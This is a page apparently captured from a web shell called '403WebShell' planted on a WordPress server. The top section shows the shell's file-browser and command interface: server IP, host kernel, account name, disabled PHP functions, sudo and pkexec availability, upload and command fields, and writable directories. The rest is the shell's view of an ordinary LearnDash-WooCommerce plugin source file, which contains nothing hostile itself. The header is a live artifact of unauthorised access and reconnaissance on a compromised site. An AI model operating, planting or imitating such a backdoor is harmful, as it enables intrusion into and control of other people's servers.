Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.217.68
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/learndash-woocommerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/learndash-woocommerce/learndash_woocommerce.php
<?php
/**
 * Plugin Name: LearnDash LMS - WooCommerce Integration
 * Plugin URI: http://www.learndash.com/work/woocommerce/
 * Description: LearnDash LMS addon plugin to integrate LearnDash LMS with WooCommerce.
 * Version: 1.9.8
 * Author: LearnDash
 * Author URI: http://www.learndash.com
 * Domain Path: /languages/
 * Text Domain: learndash-woocommerce
 * WC requires at least: 3.0.0
 * WC tested up to: 8.1.0
 *
 * @package LearnDash\WooCommerce
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

define( 'LEARNDASH_WOOCOMMERCE_VERSION', '1.9.8' );

use LearnDash\Core\Models\Product;

/**
 * Base class
 *
 * @since 1.3.0
 *
 * @package LearnDash\WooCommerce
 */
class Learndash_WooCommerce {

	/**
	 * Debug
	 *
	 * @since 1.3.0
	 *
	 * @var bool
	 */
	public $debug = false;

	/**
	 * Constructor
	 *
	 * @since 1.3.0
	 */
	public function __construct() {
		self::setup_constants();

		self::check_dependency();

		add_action(
			'plugins_loaded',
			function() {
				if ( LearnDash_Dependency_Check_LD_WooCommerce::get_instance()->check_dependency_results() ) {
					self::includes();
					self::hooks();
				}
			}
		);
	}

	/**
	 * Hooks
	 *
	 * @since 1.9.0
	 *
	 * @return void
	 */
	public static function hooks() {
		add_action( 'before_woocommerce_init', [ __CLASS__, 'declare_custom_order_tables_compatibility' ] );

		// Setup translation.
		add_action( 'plugins_loaded', array( __CLASS__, 'load_translation' ) );

		// Meta box.
		add_filter( 'product_type_selector', array( __CLASS__, 'add_product_type' ), 10, 1 );
		add_action( 'woocommerce_product_options_general_product_data', array( __CLASS__, 'render_course_selector' ) );
		add_action( 'admin_enqueue_scripts', array( __CLASS__, 'enqueue_admin_scripts' ), 1 );
		add_action( 'admin_enqueue_scripts', array( __CLASS__, 'deregister_admin_scripts' ), 20 );
		add_action( 'save_post', array( __CLASS__, 'store_related_courses' ), 10, 2 );

		// Product variation hooks.
		add_action( 'woocommerce_product_after_variable_attributes', array( __CLASS__, 'render_variation_course_selector' ), 10, 3 );
		add_action( 'woocommerce_save_product_variation', array( __CLASS__, 'store_variation_related_courses' ), 10, 2 );

		// Order hook.
		add_action( 'woocommerce_order_status_processing', array( __CLASS__, 'add_course_access' ), 10, 1 );
		add_action( 'woocommerce_order_status_completed', array( __CLASS__, 'add_course_access' ), 10, 1 );
		add_action( 'woocommerce_payment_complete', array( __CLASS__, 'add_course_access' ), 10, 1 );
		add_action( 'woocommerce_order_refunded', array( __CLASS__, 'remove_course_access_on_refund' ), 10, 2 );
		add_action( 'woocommerce_order_status_cancelled', array( __CLASS__, 'remove_course_access' ), 10, 1 );
		add_action( 'woocommerce_order_status_failed', array( __CLASS__, 'remove_course_access' ), 10, 1 );

		add_action( 'woocommerce_before_trash_order', [ __CLASS__, 'delete_order' ], 10, 2 );
		add_action( 'woocommerce_before_delete_order', [ __CLASS__, 'delete_order' ], 10, 2 );

		add_action( 'woocommerce_process_shop_order_meta', [ __CLASS__, 'update_order_meta' ] );
		add_action( 'woocommerce_before_subscription_object_save', [ __CLASS__, 'update_subscription_meta' ] );

		add_action( 'woocommerce_new_order_item', [ __CLASS__, 'process_new_order_item' ], 10, 3 );
		add_action( 'woocommerce_before_delete_order_item', array( __CLASS__, 'delete_order_item' ), 10, 1 );

		add_filter( 'woocommerce_order_get_items', array( __CLASS__, 'filter_subscription_products_out' ), 10, 3 );

		// New hooks for WC subscription.
		add_action( 'woocommerce_subscription_status_cancelled', array( __CLASS__, 'remove_subscription_course_access' ) );

		if ( 'no' === get_option( 'learndash_woocommerce_disable_access_removal_on_expiration', 'no' ) ) {
			add_action( 'woocommerce_subscription_status_expired', array( __CLASS__, 'remove_subscription_course_access' ) );
		}

		add_action( 'woocommerce_subscription_status_active', array( __CLASS__, 'add_subscription_course_access' ) );

		add_filter( 'woocommerce_subscription_settings', array( __CLASS__, 'add_subscription_settings' ), 20, 1 );

		add_filter( 'ld_woocommerce_add_subscription_course_access', array( __CLASS__, 'check_subscription_course_access_addition' ), 10, 3 );

		add_action( 'woocommerce_subscription_renewal_payment_complete', array( __CLASS__, 'remove_course_access_on_billing_cycle_completion' ), 10, 2 );

		// WC Subscription switcher.
		add_action( 'woocommerce_subscription_checkout_switch_order_processed', array( __CLASS__, 'switch_subscription' ), 10, 2 );

		// Silent background course enrollment process.
		add_action( 'learndash_woocommerce_cron', array( __CLASS__, 'process_silent_course_enrollment' ) );

		// Force user to log in or create account if there is LD course in WC cart.
		add_action( 'woocommerce_checkout_init', array( __CLASS__, 'enable_signup_on_checkout' ), 10, 1 );
		add_filter( 'woocommerce_checkout_registration_enabled', [ __CLASS__, 'enable_registration' ], 20 );

		// Auto complete course transaction.
		add_action( 'woocommerce_payment_complete', array( __CLASS__, 'auto_complete_transaction' ) );
		add_action( 'woocommerce_thankyou', array( __CLASS__, 'auto_complete_transaction' ) );

		// Remove course increment record if a course unenrolled manually.
		add_action( 'learndash_delete_user_data', array( __CLASS__, 'remove_access_increment_count' ) );
	}

	/**
	 * Setup constants
	 *
	 * @since 1.5.0
	 *
	 * @return void
	 */
	public static function setup_constants() {
		// Plugin file.
		if ( ! defined( 'LEARNDASH_WOOCOMMERCE_FILE' ) ) {
			define( 'LEARNDASH_WOOCOMMERCE_FILE', __FILE__ );
		}

		// Plugin folder path.
		if ( ! defined( 'LEARNDASH_WOOCOMMERCE_PLUGIN_PATH' ) ) {
			define( 'LEARNDASH_WOOCOMMERCE_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
		}

		// Plugin folder URL.
		if ( ! defined( 'LEARNDASH_WOOCOMMERCE_PLUGIN_URL' ) ) {
			define( 'LEARNDASH_WOOCOMMERCE_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
		}
	}

	/**
	 * Check and set dependencies
	 *
	 * @since 1.9.0
	 *
	 * @return void
	 */
	public static function check_dependency() {
		include LEARNDASH_WOOCOMMERCE_PLUGIN_PATH . 'includes/class-dependency-check.php';

		LearnDash_Dependency_Check_LD_WooCommerce::get_instance()->set_dependencies(
			array(
				'sfwd-lms/sfwd_lms.php'       => array(
					'label'       => '<a href="https://learndash.com">LearnDash LMS</a>',
					'class'       => 'SFWD_LMS',
					'min_version' => '3.0.0',
				),
				'woocommerce/woocommerce.php' => array(
					'label'       => '<a href="https://woocommerce.com/">WooCommerce</a>',
					'class'       => 'WooCommerce',
					'min_version' => '4.5.0',
				),
			)
		);

		LearnDash_Dependency_Check_LD_WooCommerce::get_instance()->set_message(
			__( 'LearnDash LMS - WooCommerce Integration Add-on requires the following plugin(s) to be active:', 'learndash-woocommerce' )
		);
	}

	/**
	 * Includes
	 *
	 * @since 1.5.0
	 *
	 * @return void
	 */
	public static function includes() {
		include LEARNDASH_WOOCOMMERCE_PLUGIN_PATH . 'includes/class-upgrade.php';
		include LEARNDASH_WOOCOMMERCE_PLUGIN_PATH . 'includes/class-cron.php';
		include LEARNDASH_WOOCOMMERCE_PLUGIN_PATH . 'includes/class-tools.php';
	}

	/**
	 * Declare the plugin to be compatible with WooCommerce custom order tables feature introduced in WooCommerce 8.0.0.
	 *
	 * @since 1.9.7
	 *
	 * @return void
	 */
	public static function declare_custom_order_tables_compatibility(): void {
		if ( class_exists( \Automattic\WooCommerce\Utilities\FeaturesUtil::class ) ) {
			\Automattic\WooCommerce\Utilities\FeaturesUtil::declare_compatibility( 'custom_order_tables', __FILE__, true );
		}
	}

	/**
	 * Load translations
	 *
	 * @since 1.3.3
	 *
	 * @return void
	 */
	public static function load_translation() {
		global $wp_version;
		// Set filter for plugin language directory.
		$lang_dir = dirname( plugin_basename( __FILE__ ) ) . '/languages/';
		$lang_dir = apply_filters( 'ld_woocommerce_languages_directory', $lang_dir ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound

		$get_locale = get_locale();

		if ( $wp_version >= '4.7' ) {
			$get_locale = get_user_locale();
		}

		$mofile = sprintf( '%s-%s.mo', 'learndash-woocommerce', $get_locale );
		$mofile = WP_LANG_DIR . 'plugins/' . $mofile;

		if ( file_exists( $mofile ) ) {
			load_textdomain( 'learndash-woocommerce', $mofile );
		} else {
			load_plugin_textdomain( 'learndash-woocommerce', false, $lang_dir );
		}

		// include translations/update class.
		include LEARNDASH_WOOCOMMERCE_PLUGIN_PATH . 'includes/class-translations-ld-woocommerce.php';
	}

	/**
	 * Add product type.
	 *
	 * @since 1.3.0
	 *
	 * @param array<string, string> $types Array of custom post types.
	 *
	 * @return array<string, string> Array of custom post types.
	 */
	public static function add_product_type( $types ) {
		$types['course'] = learndash_get_custom_label( 'course' );
		return $types;
	}

	/**
	 * Enqueue admin scripts
	 *
	 * @since 1.9.4
	 *
	 * @return void
	 */
	public static function enqueue_admin_scripts() {
		$screen = get_current_screen();

		if ( $screen->id === 'product' && $screen->base === 'post' ) {
			wp_enqueue_style( 'learndash-woocommerce-select2', LEARNDASH_WOOCOMMERCE_PLUGIN_URL . 'lib/select2/select2.min.css', [], '4.0.13', 'screen' );
			wp_enqueue_script( 'learndash-woocommerce-select2', LEARNDASH_WOOCOMMERCE_PLUGIN_URL . 'lib/select2/select2.full.min.js', [ 'jquery' ], '4.0.13', false );

			wp_enqueue_style( 'learndash-woocommerce-product', LEARNDASH_WOOCOMMERCE_PLUGIN_URL . 'assets/css/product.min.css', [], LEARNDASH_WOOCOMMERCE_VERSION, 'screen' );
			wp_enqueue_script( 'learndash-woocommerce-product', LEARNDASH_WOOCOMMERCE_PLUGIN_URL . 'assets/js/product.min.js', [ 'jquery' ], LEARNDASH_WOOCOMMERCE_VERSION, true );
		}
	}

	/**
	 * Deregister admin scripts
	 *
	 * @since 1.9.4
	 *
	 * @return void
	 */
	public static function deregister_admin_scripts() {
		$screen = get_current_screen();

		if ( $screen->id === 'product' && $screen->base === 'post' ) {
			wp_deregister_script( 'learndash-select2-jquery-script' );
			wp_deregister_style( 'learndash-select2-jquery-style' );
		}
	}

	/**
	 * Add front scripts
	 *
	 * @since 1.3.0
	 *
	 * @return void
	 */
	public static function add_front_scripts() {
		wp_enqueue_script( 'ld_wc_front', plugins_url( '/front.js', __FILE__ ), array( 'jquery' ), LEARNDASH_WOOCOMMERCE_VERSION, true );
	}

	/**
	 * Render course selector
	 *
	 * @since 1.3.0
	 */
	public static function render_course_selector() {
		global $post;

		$courses_options = self::list_courses();
		$groups_options  = self::list_groups();

		/**
		 * Filter for course selector class names.
		 *
		 * @param string $default Default class names, separated by space.
		 * @param object $post    WP_Post object.
		 *
		 * @return string Returned class names.
		 */
		$class = apply_filters( 'learndash_woocommerce_course_selector_class', 'options_group show_if_course show_if_simple', $post );

		echo '<div class="' . esc_attr( $class ) . '">';

		wp_nonce_field( 'save_post', 'ld_wc_nonce' );

		$values = (array) get_post_meta( $post->ID, '_related_course', true );
		if ( ! $values ) {
			$values = array();
		}

		$groups_values = (array) get_post_meta( $post->ID, '_related_group', true );
		if ( ! $groups_values ) {
			$groups_values = array();
		}

		?>
		<p>
			<?php
				echo sprintf(
					// translators: HTML string, Support doc link.
					esc_html_x(
						'%1$s When customers checkout with 5 or more associated courses and groups in a single cart, course enrollment process is done in the background and you will need to set up a cron job. To set up a cron job please follow %2$s .',
						'placeholders: HTML string, Support doc link',
						'learndash-woocommerce'
					),
					'<strong>Important:</strong>',
					'<a href="https://www.learndash.com/support/docs/faqs/email-notifications-send-time/#create-cron-job-in-cpanel" target="_blank">these steps</a>'
				);
			?>
		</p>
		<?php

		self::woocommerce_wp_select_multiple(
			array(
				'id'       => '_related_course[]',
				'class'    => 'select2 regular-width select short ld_related_courses',
				'label'    => sprintf(
					// translators: LearnDash Courses.
					_x(
						'LearnDash %s',
						'LearnDash Courses',
						'learndash-woocommerce'
					),
					learndash_get_custom_label( 'courses' )
				),
				'options'  => $courses_options,
				'desc_tip' => true,
				'value'    => $values,
			)
		);

		/**
		 * Select multiple input field
		 */
		self::woocommerce_wp_select_multiple(
			array(
				'id'       => '_related_group[]',
				'class'    => 'select2 regular-width select short ld_related_groups',
				'label'    => sprintf(
					// translators: LearnDash Groups.
					_x(
						'LearnDash %s',
						'LearnDash Groups',
						'learndash-woocommerce'
					),
					learndash_get_custom_label( 'groups' )
				),
				'options'  => $groups_options,
				'desc_tip' => true,
				'value'    => $groups_values,
			)
		);

		echo '</div>';
	}

	/**
	 * Store related courses
	 *
	 * @since 1.3.0
	 *
	 * @param int     $id   ID of the post.
	 * @param WP_Post $post WP_Post object.
	 *
	 * @return void
	 */
	public static function store_related_courses( $id, $post ) {
		if (
			! isset( $_POST['ld_wc_nonce'] )
			|| ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['ld_wc_nonce'] ) ), 'save_post' )
		) {
			return;
		}

		if ( ! current_user_can( 'manage_woocommerce' ) ) {
			return;
		}

		if ( ! $post->post_type === 'product' ) {
			return;
		}

		// Delete the meta and bail if product is variable type.
		$product = wc_get_product( $id );
		if ( false !== $product ) {
			if ( in_array( $product->get_type(), [ 'variable', 'variable-subscription' ] ) ) {
				delete_post_meta( $id, '_related_course' );
				delete_post_meta( $id, '_related_group' );

				return;
			}
		}

		if ( isset( $_POST['_related_course'] ) && ! empty( $_POST['_related_course'] ) ) {
			$related_courses = array_map( 'intval', $_POST['_related_course'] );
			update_post_meta( $id, '_related_course', $related_courses );
		} else {
			delete_post_meta( $id, '_related_course' );
		}

		if ( isset( $_POST['_related_group'] ) && ! empty( $_POST['_related_group'] ) ) {
			$related_groups = array_map( 'intval', $_POST['_related_group'] );
			update_post_meta( $id, '_related_group', $related_groups );
		} else {
			delete_post_meta( $id, '_related_group' );
		}
	}

	/**
	 * Render variation course selector
	 *
	 * @since 1.3.0
	 *
	 * @param int                  $loop      Position in the loop.
	 * @param array<string, mixed> $data      Array of variation data @deprecated 4.4.0.
	 * @param WP_Post              $variation Post data.
	 */
	public static function render_variation_course_selector( $loop, $data, $variation ) {
		$courses_options = self::list_courses();
		$groups_options  = self::list_groups();

		echo '<div class="form-field form-row form-row-full">';

		wp_nonce_field( 'save_post', 'ld_wc_nonce' );

		$values = (array) get_post_meta( $variation->ID, '_related_course', true );
		if ( ! $values ) {
			$values = array();
		}

		$groups_values = (array) get_post_meta( $variation->ID, '_related_group', true );
		if ( ! $groups_values ) {
			$groups_values = array();
		}

		?>
		<p>
		<?php
			echo sprintf(
				// translators: HTML string, Support doc link.
				esc_html_x(
					'%1%s When customers checkout with 5 or more associated courses and groups in a single cart, course enrollment process is done in the background and you will need to set up a cron job. To set up a cron job please follow .',
					'placeholders: HTML string, Support doc link',
					'learndash-woocommerce'
				),
				'<strong>Important:</strong>',
				'<a href="https://www.learndash.com/support/docs/faqs/email-notifications-send-time/#create-cron-job-in-cpanel" target="_blank">these steps</a>'
			);
		?>
		</p>
		<?php

		self::woocommerce_wp_select_multiple(
			array(
				'id'       => '_related_course[' . $loop . '][]',
				'class'    => 'select2 full-width select short ld_related_courses_variation',
				'label'    => sprintf(
					// translators: LearnDash Courses.
					_x(
						'LearnDash %s',
						'LearnDash Courses',
						'learndash-woocommerce'
					),
					learndash_get_custom_label( 'courses' )
				),
				'options'  => $courses_options,
				'desc_tip' => true,
				'value'    => $values,
			)
		);

		self::woocommerce_wp_select_multiple(
			array(
				'id'       => '_related_group[' . $loop . '][]',
				'class'    => 'select2 full-width select short ld_related_groups_variation',
				'label'    => sprintf(
					// translators: LearnDash Groups.
					_x(
						'LearnDash %s',
						'LearnDash Groups',
						'learndash-woocommerce'
					),
					learndash_get_custom_label( 'groups' )
				),
				'options'  => $groups_options,
				'desc_tip' => true,
				'value'    => $groups_values,
			)
		);

		echo '</div>';
	}

	/**
	 * Store variation related courses
	 *
	 * @since 1.3.0
	 *
	 * @param int $variation_id WC_Product_Variation object ID.
	 * @param int $loop         Position in the loop.
	 *
	 * @return void
	 */
	public static function store_variation_related_courses( $variation_id, $loop ) {
		if ( ! isset( $_POST['ld_wc_nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['ld_wc_nonce'] ) ), 'save_post' ) ) {
			return;
		}

		if ( ! current_user_can( 'manage_woocommerce' ) ) {
			return;
		}

		$post = get_post( $variation_id );

		if (
			! $post instanceof WP_Post
			|| $post->post_type !== 'product'
		) {
			return;
		}

		if ( isset( $_POST['_related_course'] ) && ! empty( $_POST['_related_course'] ) ) {
			$related_courses = array();
			foreach ( $_POST['_related_course'] as $key => $value ) {
				if ( isset( $value ) && ! empty( $value ) ) {
					$related_courses[ $key ] = array_map( 'intval', $value );
				} else {
					$related_courses[ $key ] = array();
				}

				update_post_meta( $variation_id, '_related_course', $related_courses[ $loop ] );
			}
		} else {
			delete_post_meta( $variation_id, '_related_course' );
		}

		if ( isset( $_POST['_related_group'] ) && ! empty( $_POST['_related_group'] ) ) {
			$related_groups = array();
			foreach ( $_POST['_related_group'] as $key => $value ) {
				if ( isset( $value ) && ! empty( $value ) ) {
					$related_groups[ $key ] = array_map( 'intval', $value );
				} else {
					$related_groups[ $key ] = array();
				}

				update_post_meta( $variation_id, '_related_group', $related_groups[ $loop ] );
			}
		} else {
			delete_post_meta( $variation_id, '_related_group' );
		}
	}

	/**
	 * Remove course when order is refunded
	 *
	 * @param  int   $order_id    Order ID.
	 * @param  int   $customer_id Customer ID (optional).
	 * @param  array $products    Custom products if exists.
	 */
	public static function remove_course_access( $order_id, $customer_id = null, $products = [] ) {
		$order = wc_get_order( $order_id );

		if ( $order !== false && is_a( $order, 'WC_Order' ) ) {
			/**
			 * Only get items for non-subscription products
			 *
			 * The $learndash_woocommerce_get_items_filter_out_subscriptions variable is required to be "true" for the filter to work
			 *
			 * @see Learndash_WooCommerce::filter_subscription_products_out() Filter subscription products out when getting items for course access update
			 * @var array
			 */
			global $learndash_woocommerce_get_items_filter_out_subscriptions;
			$learndash_woocommerce_get_items_filter_out_subscriptions = true;

			if ( empty( $products ) ) {
				$products = $order->get_items();
			}

			$customer_id = ! empty( $customer_id ) && is_numeric( $customer_id ) ? $customer_id : $order->get_user_id();

			foreach ( $products as $product ) {
				if ( ! empty( $product->get_variation_id() ) ) {
					$courses_id = (array) get_post_meta( $product->get_variation_id(), '_related_course', true );
					$groups_id  = (array) get_post_meta( $product->get_variation_id(), '_related_group', true );
				} else {
					$courses_id = (array) get_post_meta( $product['product_id'], '_related_course', true );
					$groups_id  = (array) get_post_meta( $product['product_id'], '_related_group', true );
				}

				if ( $courses_id && is_array( $courses_id ) ) {
					foreach ( $courses_id as $course_id ) {
						self::update_remove_course_access( $course_id, $customer_id, $order_id );
					}
				}

				if ( $groups_id && is_array( $groups_id ) ) {
					foreach ( $groups_id as $group_id ) {
						self::update_remove_group_access( $group_id, $customer_id, $order_id );
					}
				}
			}
		}
	}

	/**
	 * Remove course access on order refund
	 *
	 * @param int $order_id  ID of the order.
	 * @param int $refund_id ID of the refund.
	 * @return void
	 */
	public static function remove_course_access_on_refund( $order_id, $refund_id ) {
		$order = wc_get_order( $order_id );

		$products = [];
		$refunds  = $order->get_refunds();

		foreach ( $refunds as $refund ) {
			$refunded_products = $refund->get_items();
			$products          = array_merge( $products, $refunded_products );
		}

		self::remove_course_access( $order_id, null, $products );
	}

	/**
	 * Enroll customer into order's associated courses and groups
	 *
	 * @param int $order_id     WC_Order ID.
	 * @param int $customer_id  Customer ID (optional).
	 *
	 * @return void
	 */
	public static function add_course_access( $order_id, $customer_id = null ) {
		$order = wc_get_order( $order_id );

		if ( $order !== false && is_a( $order, 'WC_Order' ) ) {
			/**
			 * Only get items for non-subscription products
			 *
			 * @see Learndash_WooCommerce::filter_subscription_products_out() Filter subscription products out when getting items for course access update
			 * @var array
			 */
			global $learndash_woocommerce_get_items_filter_out_subscriptions;
			$learndash_woocommerce_get_items_filter_out_subscriptions = true;
			$products = $order->get_items();

			$customer_id = ! empty( $customer_id ) && is_numeric( $customer_id ) ? $customer_id : $order->get_user_id();

			$user = get_user_by( 'ID', $customer_id );

			if ( ! $user ) {
				return;
			}

			$courses_count = 0;
			$groups_count  = 0;
			array_walk(
				$products,
				function( $product ) use ( &$courses_count, &$groups_count ) {
					if ( ! empty( $product->get_variation_id() ) ) {
						$courses = (array) get_post_meta( $product->get_variation_id(), '_related_course', true );
						$groups  = (array) get_post_meta( $product->get_variation_id(), '_related_group', true );
					} else {
						$courses = (array) get_post_meta( $product['product_id'], '_related_course', true );
						$groups  = (array) get_post_meta( $product['product_id'], '_related_group', true );
					}

					$courses = array_filter(
						$courses,
						function( $course_id ) {
							return ! empty( $course_id ) && is_numeric( $course_id );
						}
					);

					$groups = array_filter(
						$groups,
						function( $group_id ) {
							return ! empty( $group_id ) && is_numeric( $group_id );
						}
					);

					$courses_count += count( $courses );
					$groups_count  += count( $groups );
				}
			);

			if ( ( $courses_count + $groups_count ) >= self::get_products_count_for_silent_course_enrollment() && current_filter() !== 'learndash_woocommerce_cron' && current_filter() !== 'wp_ajax_ld_wc_retroactive_access' ) {
				self::enqueue_silent_course_enrollment( array( 'order_id' => $order_id ) );
			} else {
				foreach ( $products as $product ) {
					if ( ! empty( $product->get_variation_id() ) ) {
						$courses_id = (array) get_post_meta( $product->get_variation_id(), '_related_course', true );
						$groups_id  = (array) get_post_meta( $product->get_variation_id(), '_related_group', true );
					} else {
						$courses_id = (array) get_post_meta( $product['product_id'], '_related_course', true );
						$groups_id  = (array) get_post_meta( $product['product_id'], '_related_group', true );
					}

					if ( $courses_id && is_array( $courses_id ) ) {
						foreach ( $courses_id as $course_id ) {
							$course_id = intval( $course_id );

							if ( ! self::is_order_product_access_expired( $order_id, $course_id ) ) {
								self::update_add_course_access( $course_id, $customer_id, $order_id );
							} else {
								self::update_remove_course_access( $course_id, $customer_id, $order_id );
							}
						}
					}

					if ( $groups_id && is_array( $groups_id ) ) {
						foreach ( $groups_id as $group_id ) {
							$group_id = intval( $group_id );

							if ( ! self::is_order_product_access_expired( $order_id, $group_id ) ) {
								self::update_add_group_access( $group_id, $customer_id, $order_id );
							} else {
								self::update_remove_group_access( $group_id, $customer_id, $order_id );
							}
						}
					}
				}
			}
		}
	}

	/**
	 * Check if a course or group associated with an order is already expired based on order paid date.
	 *
	 * @since 1.9.8
	 *
	 * @param int $order_id   WooCommerce order or subscription ID.
	 * @param int $product_id LearnDash course or group ID.
	 *
	 * @return bool True if expired, false otherwise.
	 */
	private static function is_order_product_access_expired( int $order_id, int $product_id ): bool {
		$order = wc_get_order( $order_id );

		if ( ! $order instanceof WC_Order ) {
			return false;
		}

		$product = Product::find( $product_id );
		$user_id = $order->get_user_id();

		if ( ! $product ) {
			return false;
		}

		$course_expiration = $product->get_setting( 'expire_access' );

		if ( empty( $course_expiration ) ) {
			return false;
		}

		$order_date = $order->get_date_paid();

		if ( ! $order_date ) {
			return false;
		}

		$expiration_days = $product->get_setting( 'expire_access_days' );

		if (
			empty( $expiration_days )
			|| $expiration_days < 1
		) {
			return false;
		}

		$start_time = $product->get_start_date( $user_id );
		$order_time = strtotime( $order_date->date( 'Y-m-d H:i:s' ) );

		$start_time = ! empty( $start_time )
			? $start_time
			: $order_time;

		$should_expire_at = strtotime( '+' . $expiration_days . ' days', intval( $start_time ) );

		return time() > $should_expire_at;
	}

	/**
	 * Handler when an order is deleted or trashed.
	 *
	 * @param int      $order_id WooCommerce order ID.
	 * @param WC_Order $order    WooCommerce order object.
	 *
	 * @return void
	 */
	public static function delete_order( $order_id, $order ) {
		if ( 'shop_order' === $order->get_type() ) {
			self::remove_course_access( $order_id );
		} elseif ( 'shop_subscription' === $order->get_type() ) {
			if ( function_exists( 'wcs_get_subscription' ) ) {
				$subscription = wcs_get_subscription( $order_id );

				if ( $subscription ) {
					self::remove_subscription_course_access( $subscription );
				}
			}
		}
	}

	/**
	 * Handler when an order is updated, hooked to
	 * woocommerce_process_shop_order_meta
	 *
	 * This method is used to handle course access update
	 * in some scenarios such as:
	 * 1. Order's customer change
	 *
	 * @param int $order_id Order ID.
	 * @return void
	 */
	public static function update_order_meta( $order_id ) {
		$order = wc_get_order( $order_id );

		// try to validate again.
		if ( ! is_object( $order ) ) {
			// break out so no fatal.
			return;
		}

		$old_customer = $order->get_customer_id();
		$new_customer = isset( $_POST['customer_user'] ) ? intval( $_POST['customer_user'] ) : false;

		if ( $old_customer && $new_customer && $old_customer !== $new_customer ) {
			if ( in_array( $order->get_status(), [ 'processing', 'completed' ] ) ) {
				self::remove_course_access( $order_id, $old_customer );
				self::add_course_access( $order_id, $new_customer );
			}
		}
	}

	/**
	 * Handler when an subscription is updated, hooked to
	 * woocommerce_process_shop_subscription_meta
	 *
	 * This method is used to handle course access update
	 * in some scenarios such as:
	 * 1. Order's customer change
	 *
	 * @param int $subscription_id ID of the subscription.
	 * @return void
	 */
	public static function update_subscription_meta( $subscription_id ) {
		if ( is_object( $subscription_id ) ) {
			$subscription = $subscription_id;
		} else {
			$subscription = wcs_get_subscription( $subscription_id );
		}

		if ( ! is_object( $subscription ) ) {
			return;
		}

		if ( empty( $subscription->get_id() ) ) {
			return;
		}

		$old_customer = $subscription->get_customer_id();
		$new_customer = isset( $_POST['customer_user'] ) ? intval( $_POST['customer_user'] ) : false;

		if ( $old_customer && $new_customer && $old_customer !== $new_customer ) {
			if ( in_array( $subscription->get_status(), [ 'active' ] ) ) {
				self::remove_subscription_course_access( $subscription, [], $old_customer );

				self::add_subscription_course_access( $subscription, [], $new_customer );
			}
		}
	}

	/**
	 * Process new order item added to existing order or subscription
	 *
	 * @since 1.9.3
	 *
	 * @param int           $item_id    Order item ID.
	 * @param WC_Order_Item $item       WC order item object.
	 * @param int           $order_id   WooCommerce order ID.
	 *
	 * @return void
	 */
	public static function process_new_order_item( $item_id, $item, $order_id ) {
		$order = wc_get_order( $order_id );

		if (
			! $order
			|| ! is_a( $order, 'WC_Order' )
		) {
			return;
		}

		if ( function_exists( 'wcs_is_subscription' ) && wcs_is_subscription( $order ) ) {
			$subscription = wcs_get_subscription( $order_id );

			if ( in_array( $subscription->get_status(), array( 'active' ) ) ) {
				self::add_subscription_course_access( $subscription );
			}
		} elseif ( $order->get_type() === 'shop_order' ) {
			if ( in_array( $order->get_status(), array( 'processing', 'completed' ) ) ) {
				self::add_course_access( $order_id );
			}
		}
	}

	/**
	 * Process order item deletion from order or subscription
	 *
	 * @param int $item_id WooCommerce order item ID.
	 *
	 * @return void
	 */
	public static function delete_order_item( $item_id ) {
		$order_id = wc_get_order_id_by_order_item_id( $item_id );
		$order    = wc_get_order( $order_id );

		if ( ! $order || ! is_a( $order, 'WC_Order' ) ) {
			return;
		}

		$order_item = new WC_Order_Item_Product( $item_id );

		if ( function_exists( 'wcs_is_subscription' ) && wcs_is_subscription( $order ) ) {
			$subscription = wcs_get_subscription( $order_id );

			self::remove_subscription_course_access( $subscription, [ $order_item ] );
		} elseif ( $order->get_type() === 'shop_order' ) {
			self::remove_course_access( $order_id, null, [ $order_item ] );
		}
	}

	/**
	 * Filter only subscription products out from order processing methods
	 *
	 * @param  array $items Original items.
	 * @param  array $order Order object.
	 * @param  array $types Item types.
	 *
	 * @return array $items Modified $items
	 */
	public static function filter_subscription_products_out( $items, $order, $types ) {
		global $learndash_woocommerce_get_items_filter_out_subscriptions;
		if ( $learndash_woocommerce_get_items_filter_out_subscriptions ) {
			$learndash_woocommerce_get_items_filter_out_subscriptions = false;

			$items = array_filter(
				$items,
				function( $item ) {
					$product = $item->get_product();

					if ( $product && is_a( $product, 'WC_Product' ) ) {
						return $product->get_type() != 'subscription';
					} else {
						return true;
					}
				}
			);
		}

		return $items;
	}

	/**
	 * Debug
	 *
	 * @since 1.3.0
	 *
	 * @param string $msg Debug message.
	 *
	 * @return void
	 */
	public static function debug( $msg ) {
		$original_log_errors = ini_get( 'log_errors' );
		$original_error_log  = ini_get( 'error_log' );
		ini_set( 'log_errors', true );
		ini_set( 'error_log', dirname( __FILE__ ) . DIRECTORY_SEPARATOR . 'debug.log' );

		global $ld_sf_processing_id;
		if ( empty( $ld_sf_processing_id ) ) {
			$ld_sf_processing_id = time();
		}

		if ( isset( $_GET['debug'] ) || self::debug ) {
			error_log( "[$ld_sf_processing_id] " . print_r( $msg, true ) );
		} //Comment This line to stop logging debug messages.

		ini_set( 'log_errors', $original_log_errors );
		ini_set( 'error_log', $original_error_log );
	}

	/**
	 * Get available courses
	 *
	 * @return array<int, string>
	 */
	public static function list_courses() {
		$courses = get_posts(
			array(
				'post_type'        => learndash_get_post_type_slug( 'course' ),
				'posts_per_page'   => -1,
				'suppress_filters' => true,
			)
		);

		$returned_courses = array();
		foreach ( $courses as $course ) {
			$returned_courses[ $course->ID ] = $course->post_title;
		}

		return $returned_courses;
	}

	/**
	 * Get available groups
	 *
	 * @return array<int, string>
	 */
	public static function list_groups() {
		$groups = get_posts(
			array(
				'post_type'        => learndash_get_post_type_slug( 'group' ),
